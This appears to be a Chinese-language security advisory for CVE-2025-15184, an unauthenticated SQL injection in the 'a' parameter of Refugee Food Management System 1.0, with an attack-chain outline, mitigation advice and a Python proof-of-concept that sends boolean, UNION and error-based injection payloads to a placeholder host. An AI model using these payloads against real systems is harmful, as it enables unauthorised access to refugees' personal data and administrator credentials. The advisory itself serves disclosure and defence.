IPBUF安全漏洞报告
English
CVE-2025-15184 CVSS 7.3 高危

CVE-2025-15184: Refugee Food Management System 1.0 SQL注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15184
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Refugee Food Management System 1.0

相关标签

SQL注入高危漏洞Refugee Food Management Systemcode-projects远程代码执行CVE-2025-15184PHP漏洞Web应用安全

漏洞概述

CVE-2025-15184是code-projects开源项目中Refugee Food Management System 1.0版本存在的高危SQL注入漏洞。该系统是一款用于管理难民食物分配的开源Web应用,由code-projects.org提供。漏洞存在于系统中的/home/refugeesreport2.php文件,具体是由于对用户输入参数'a'未进行充分的输入验证和SQL语句预编译,导致攻击者可以通过构造恶意的SQL语句片段实现SQL注入攻击。由于该漏洞的攻击向量为网络远程利用,且无需认证和用户交互,攻击者可直接通过HTTP请求远程利用此漏洞,获取数据库中的敏感信息,包括难民个人信息、食物分配记录、管理员凭据等。CVSS 3.1评分7.3分(高危),表明该漏洞对系统的机密性、完整性和可用性均产生较低程度的影响,但因其利用难度低、无需特殊权限,仍需紧急修复。

技术细节

该SQL注入漏洞源于refugeesreport2.php文件中对HTTP请求参数'a'的直接使用。当用户通过GET或POST方式向该PHP文件提交参数'a'时,程序未对输入内容进行过滤或使用参数化查询,而是直接将用户输入拼接到SQL查询语句中。攻击者可通过在参数'a'中注入SQL关键字和特殊字符(如单引号、UNION SELECT、AND等),改变原始SQL语句的执行逻辑。例如,使用UNION-based注入技术,攻击者可从数据库中提取管理员表的用户名和密码哈希值;使用Boolean-based blind注入技术,攻击者可逐字符推断数据库中的敏感数据。由于系统未部署Web应用防火墙(WAF)且数据库权限配置可能过于宽松,攻击者甚至可能通过LOAD_FILE()或INTO OUTFILE语句读取服务器敏感文件或写入webshell,实现远程代码执行。攻击者成功利用后可完全接管系统或横向移动至内网其他系统。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统为Refugee Food Management System 1.0,通过目录扫描发现存在/home/refugeesreport2.php文件
STEP 2
步骤2
攻击者构造包含SQL注入载荷的HTTP请求,以参数'a'传递恶意SQL语句片段
STEP 3
步骤3
服务器将攻击者输入直接拼接到SQL查询语句中执行,利用UNION、Boolean-based或Error-based等注入技术提取数据库数据
STEP 4
步骤4
攻击者获取数据库中的敏感信息,包括用户凭据、难民个人信息、食物分配记录等
STEP 5
步骤5
若数据库权限配置不当,攻击者可进一步通过INTO OUTFILE写入webshell实现远程代码执行,完全接管服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15184 SQL Injection PoC # Target: Refugee Food Management System 1.0 # File: /home/refugeesreport2.php # Parameter: a import requests import sys from urllib.parse import quote TARGET_URL = "http://target.com/home/refugeesreport2.php" # Basic SQL Injection Test - Boolean Based Blind def test_sql_injection(): print("[*] Testing CVE-2025-15184 SQL Injection...") # Normal request normal_payload = {"a": "1"} try: r1 = requests.get(TARGET_URL, params=normal_payload, timeout=10) normal_len = len(r1.content) print(f"[+] Normal request length: {normal_len}") except Exception as e: print(f"[-] Error with normal request: {e}") return # SQL Injection payloads payloads = [ # Boolean-based blind injection "1' AND 1=1 -- ", "1' AND 1=2 -- ", # Union-based injection "1' UNION SELECT NULL--", "1' UNION SELECT NULL,NULL--", # Error-based injection "1' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--", ] for payload in payloads: try: r = requests.get(TARGET_URL, params={"a": payload}, timeout=10) print(f"[*] Payload: {payload[:30]}... | Length: {len(r.content)}") # Check for SQL error indicators if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower(): print(f"[!] Potential SQL error detected with payload: {payload}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_sql_injection()

影响范围

code-projects Refugee Food Management System 1.0

防御指南

临时缓解措施
在生产环境中,可暂时通过以下措施缓解风险:1)在前端部署WAF规则拦截包含SQL关键字的请求;2)对refugeesreport2.php文件设置访问限制或暂时下线该功能;3)加强数据库账户权限,限制应用账户仅拥有必要的SELECT/INSERT/UPDATE/DELETE权限,禁止FILE等高危权限;4)启用数据库查询日志和异常告警机制,及时发现SQL注入攻击行为。同时建议开发团队尽快采用参数化查询方式修复代码漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表